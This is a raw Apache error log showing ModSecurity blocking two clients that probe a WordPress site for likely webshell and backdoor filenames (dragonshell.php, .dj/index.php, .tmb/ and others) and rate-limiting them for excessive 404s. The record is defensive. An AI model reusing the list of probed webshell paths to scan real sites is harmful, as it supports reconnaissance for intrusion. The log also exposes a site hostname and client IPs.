[Fri Apr 24 02:19:22.516436 2026] [:error] [pid 64967:tid 64991] [client 74.234.74.247:1807] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "aepiqoAV4GfOOdX8QzqcLQAAAZY"]
[Fri Apr 24 02:19:23.071801 2026] [:error] [pid 64967:tid 64973] [client 74.234.74.247:1844] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "aepiq4AV4GfOOdX8QzqcLgAAAYQ"]
[Fri Apr 24 02:19:23.617915 2026] [:error] [pid 64998:tid 65014] [client 74.234.74.247:1771] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "aepiq4V5EysYcTLjmwhBRgAAAcw"]
[Fri Apr 24 02:19:25.206875 2026] [:error] [pid 42972:tid 43024] [client 74.234.74.247:1665] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "aepircOAb-3sOknsk4fN2gAAAEg"]
[Fri Apr 24 02:19:25.814292 2026] [:error] [pid 65000:tid 65038] [client 74.234.74.247:1850] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hypo.php"] [unique_id "aepirb6vRb9j6psK2ZaOygAAAgU"]
[Fri Apr 24 02:19:26.370712 2026] [:error] [pid 46953:tid 46964] [client 74.234.74.247:1757] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hypo.php"] [unique_id "aepirknlpdHh-P6wKbp_AwAAAkg"]
[Fri Apr 24 02:19:26.953122 2026] [:error] [pid 46953:tid 46974] [client 74.234.74.247:1688] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hypo.php"] [unique_id "aepirknlpdHh-P6wKbp_BAAAAlI"]
[Fri Apr 24 02:19:27.496157 2026] [:error] [pid 64998:tid 65019] [client 74.234.74.247:1668] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hypo.php"] [unique_id "aepir4V5EysYcTLjmwhBUAAAAdE"]
[Fri Apr 24 02:19:28.053232 2026] [:error] [pid 43083:tid 43089] [client 74.234.74.247:1829] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "aepisDC5hrvNXosL83KyTgAAAMQ"]
[Fri Apr 24 02:19:28.599763 2026] [:error] [pid 25635:tid 25662] [client 74.234.74.247:1715] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "aepisMRxv6UsgRGKB3JT5QAAARc"]
[Fri Apr 24 02:19:29.120492 2026] [:error] [pid 43083:tid 43095] [client 74.234.74.247:1600] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "aepisTC5hrvNXosL83KyUAAAAMo"]
[Fri Apr 24 02:19:29.665870 2026] [:error] [pid 64998:tid 65009] [client 74.234.74.247:1769] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "aepisYV5EysYcTLjmwhBVQAAAcc"]
[Fri Apr 24 02:19:30.196763 2026] [:error] [pid 64998:tid 65022] [client 74.234.74.247:1854] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aepisoV5EysYcTLjmwhBVwAAAdQ"]
[Fri Apr 24 02:19:30.753976 2026] [:error] [pid 65000:tid 65032] [client 74.234.74.247:1809] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aepisr6vRb9j6psK2ZaO1QAAAgM"]
[Fri Apr 24 02:19:31.305365 2026] [:error] [pid 65000:tid 65040] [client 74.234.74.247:1828] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aepis76vRb9j6psK2ZaO2AAAAgc"]
[Fri Apr 24 02:19:31.856819 2026] [:error] [pid 64998:tid 65005] [client 74.234.74.247:1754] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aepis4V5EysYcTLjmwhBWwAAAcM"]
[Fri Apr 24 02:19:32.391188 2026] [:error] [pid 46953:tid 46958] [client 74.234.74.247:1761] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aepitEnlpdHh-P6wKbp_EAAAAkI"]
[Fri Apr 24 02:19:32.913578 2026] [:error] [pid 64967:tid 64981] [client 74.234.74.247:1811] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aepitIAV4GfOOdX8QzqcMAAAAYw"]
[Fri Apr 24 02:19:33.443616 2026] [:error] [pid 65000:tid 65048] [client 74.234.74.247:1782] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aepitb6vRb9j6psK2ZaO4QAAAg8"]
[Fri Apr 24 02:19:33.993359 2026] [:error] [pid 42972:tid 43018] [client 74.234.74.247:1753] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aepitcOAb-3sOknsk4fN8wAAAEI"]
[Fri Apr 24 02:19:34.581584 2026] [:error] [pid 42972:tid 43028] [client 74.234.74.247:1853] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aepitsOAb-3sOknsk4fN9gAAAEw"]
[Fri Apr 24 02:19:35.185529 2026] [:error] [pid 64998:tid 65007] [client 74.234.74.247:1843] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aepit4V5EysYcTLjmwhBZwAAAcU"]
[Fri Apr 24 02:19:35.758076 2026] [:error] [pid 65000:tid 65030] [client 74.234.74.247:1905] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aepit76vRb9j6psK2ZaO8wAAAgE"]
[Fri Apr 24 02:19:36.424117 2026] [:error] [pid 43083:tid 43099] [client 74.234.74.247:1746] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aepiuDC5hrvNXosL83KyUgAAAM4"]
[Fri Apr 24 03:52:18.748146 2026] [:error] [pid 53738:tid 53748] [client 20.215.57.60:39945] File does not exist: /usr/local/apache/htdocs/suspended-page/error.php
[Fri Apr 24 03:52:19.044529 2026] [:error] [pid 53738:tid 53745] [client 20.215.57.60:39945] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-load.php
[Fri Apr 24 03:52:19.329588 2026] [:error] [pid 53738:tid 53757] [client 20.215.57.60:39945] File does not exist: /usr/local/apache/htdocs/suspended-page/77.php
[Fri Apr 24 03:52:19.619195 2026] [:error] [pid 53738:tid 53752] [client 20.215.57.60:39945] File does not exist: /usr/local/apache/htdocs/suspended-page/.sghb.php
[Fri Apr 24 03:52:19.907354 2026] [:error] [pid 53738:tid 53754] [client 20.215.57.60:39945] File does not exist: /usr/local/apache/htdocs/suspended-page/zoko.php
[Fri Apr 24 03:52:20.195649 2026] [:error] [pid 53738:tid 53742] [client 20.215.57.60:39945] File does not exist: /usr/local/apache/htdocs/suspended-page/solo1.php
[Fri Apr 24 03:52:20.480142 2026] [:error] [pid 53738:tid 53741] [client 20.215.57.60:39945] File does not exist: /usr/local/apache/htdocs/suspended-page/locales.php
[Fri Apr 24 03:52:20.769994 2026] [:error] [pid 53738:tid 53753] [client 20.215.57.60:39945] File does not exist: /usr/local/apache/htdocs/suspended-page/bgymj.php
[Fri Apr 24 03:52:21.054716 2026] [:error] [pid 53738:tid 53743] [client 20.215.57.60:39945] File does not exist: /usr/local/apache/htdocs/suspended-page/pucci.php
[Fri Apr 24 03:52:21.623585 2026] [:error] [pid 53738:tid 53749] [client 20.215.57.60:39945] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.dj/index.php"] [unique_id "aep4dVuaZcfIiYp8cBgTEQAAAMk"]
[Fri Apr 24 03:52:22.580391 2026] [:error] [pid 53640:tid 53708] [client 20.215.57.60:5964] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.dj/index.php"] [unique_id "aep4dvvGCeB_vkvt8gGc_gAAAIM"]
[Fri Apr 24 03:52:24.733867 2026] [:error] [pid 53639:tid 53702] [client 20.215.57.60:60791] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.dj/index.php"] [unique_id "aep4eMWp63IbJuTsepOV8AAAAFg"]
[Fri Apr 24 03:52:25.710561 2026] [:error] [pid 53640:tid 53705] [client 20.215.57.60:28544] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.dj/index.php"] [unique_id "aep4efvGCeB_vkvt8gGdCwAAAIA"]
[Fri Apr 24 03:52:26.932418 2026] [:error] [pid 53738:tid 53750] [client 20.215.57.60:28565] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aep4eluaZcfIiYp8cBgTKQAAAMo"]
[Fri Apr 24 03:52:29.611216 2026] [:error] [pid 53638:tid 53664] [client 20.215.57.60:38801] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aep4fYE5TTy1-_qhowJotAAAAA4"]
[Fri Apr 24 03:52:30.335718 2026] [:error] [pid 53738:tid 53762] [client 20.215.57.60:61229] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aep4fluaZcfIiYp8cBgTNQAAANY"]
[Fri Apr 24 03:52:31.109032 2026] [:error] [pid 53640:tid 53723] [client 20.215.57.60:58961] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aep4f_vGCeB_vkvt8gGdGwAAAJI"]
[Fri Apr 24 03:52:33.216752 2026] [:error] [pid 53738:tid 53740] [client 20.215.57.60:44029] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.tmb/"] [unique_id "aep4gVuaZcfIiYp8cBgTQwAAAMA"]
[Fri Apr 24 03:52:34.967689 2026] [:error] [pid 53639:tid 53680] [client 20.215.57.60:5947] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.tmb/"] [unique_id "aep4gsWp63IbJuTsepOWAAAAAEI"]
[Fri Apr 24 03:52:36.568848 2026] [:error] [pid 53640:tid 53712] [client 20.215.57.60:58992] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.tmb/"] [unique_id "aep4hPvGCeB_vkvt8gGdKQAAAIc"]
[Fri Apr 24 03:52:37.488621 2026] [:error] [pid 53640:tid 53724] [client 20.215.57.60:49860] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.tmb/"] [unique_id "aep4hfvGCeB_vkvt8gGdLAAAAJM"]
[Fri Apr 24 03:52:38.281640 2026] [:error] [pid 53640:tid 53708] [client 20.215.57.60:41932] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "aep4hvvGCeB_vkvt8gGdMQAAAIM"]
[Fri Apr 24 03:52:39.671573 2026] [:error] [pid 53640:tid 53710] [client 20.215.57.60:17195] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "aep4h_vGCeB_vkvt8gGdNQAAAIU"]
[Fri Apr 24 03:52:41.850724 2026] [:error] [pid 53639:tid 53693] [client 20.215.57.60:47926] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "aep4icWp63IbJuTsepOWCAAAAE8"]
[Fri Apr 24 03:52:42.607964 2026] [:error] [pid 53640:tid 53722] [client 20.215.57.60:49902] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "aep4ivvGCeB_vkvt8gGdOgAAAJE"]
[Fri Apr 24 03:52:44.602464 2026] [:error] [pid 53738:tid 53748] [client 20.215.57.60:58108] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aep4jFuaZcfIiYp8cBgTWQAAAMg"]
[Fri Apr 24 03:52:45.825533 2026] [:error] [pid 53640:tid 53725] [client 20.215.57.60:59413] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aep4jfvGCeB_vkvt8gGdRgAAAJQ"]
[Fri Apr 24 03:52:48.317648 2026] [:error] [pid 53738:tid 53758] [client 20.215.57.60:49418] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aep4kFuaZcfIiYp8cBgTYAAAANI"]
[Fri Apr 24 03:52:49.811250 2026] [:error] [pid 53738:tid 53742] [client 20.215.57.60:5781] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aep4kVuaZcfIiYp8cBgTZwAAAMI"]
[Fri Apr 24 03:52:51.357162 2026] [:error] [pid 53639:tid 53691] [client 20.215.57.60:35674] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dragonshell.php"] [unique_id "aep4k8Wp63IbJuTsepOWLAAAAE0"]
[Fri Apr 24 03:52:51.947830 2026] [:error] [pid 53638:tid 53663] [client 20.215.57.60:49410] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dragonshell.php"] [unique_id "aep4k4E5TTy1-_qhowJo3QAAAA0"]
[Fri Apr 24 03:52:53.540938 2026] [:error] [pid 53738:tid 53756] [client 20.215.57.60:5789] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dragonshell.php"] [unique_id "aep4lVuaZcfIiYp8cBgTcAAAANA"]
[Fri Apr 24 03:52:55.128759 2026] [:error] [pid 53639:tid 53690] [client 20.215.57.60:58081] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dragonshell.php"] [unique_id "aep4l8Wp63IbJuTsepOWNAAAAEw"]
[Fri Apr 24 03:52:56.747190 2026] [:error] [pid 53738:tid 53741] [client 20.215.57.60:51158] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no20.php"] [unique_id "aep4mFuaZcfIiYp8cBgTdwAAAME"]
[Fri Apr 24 03:52:57.935219 2026] [:error] [pid 53738:tid 53742] [client 20.215.57.60:21112] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no20.php"] [unique_id "aep4mVuaZcfIiYp8cBgTfgAAAMI"]
[Fri Apr 24 03:53:00.417727 2026] [:error] [pid 53640:tid 53710] [client 20.215.57.60:34054] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no20.php"] [unique_id "aep4nPvGCeB_vkvt8gGdagAAAIU"]
[Fri Apr 24 03:53:03.012702 2026] [:error] [pid 53738:tid 53763] [client 20.215.57.60:49460] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no20.php"] [unique_id "aep4n1uaZcfIiYp8cBgTpAAAANc"]
[Fri Apr 24 03:53:04.279622 2026] [:error] [pid 53738:tid 53748] [client 20.215.57.60:21056] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-alone.php"] [unique_id "aep4oFuaZcfIiYp8cBgTqwAAAMg"]
